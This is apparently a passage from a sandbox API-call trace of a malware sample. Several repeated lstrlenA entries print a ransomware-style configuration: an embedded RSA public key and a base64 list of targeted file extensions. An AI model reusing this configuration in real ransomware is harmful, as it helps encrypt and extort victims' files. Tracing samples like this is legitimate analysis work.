YSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.132] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHA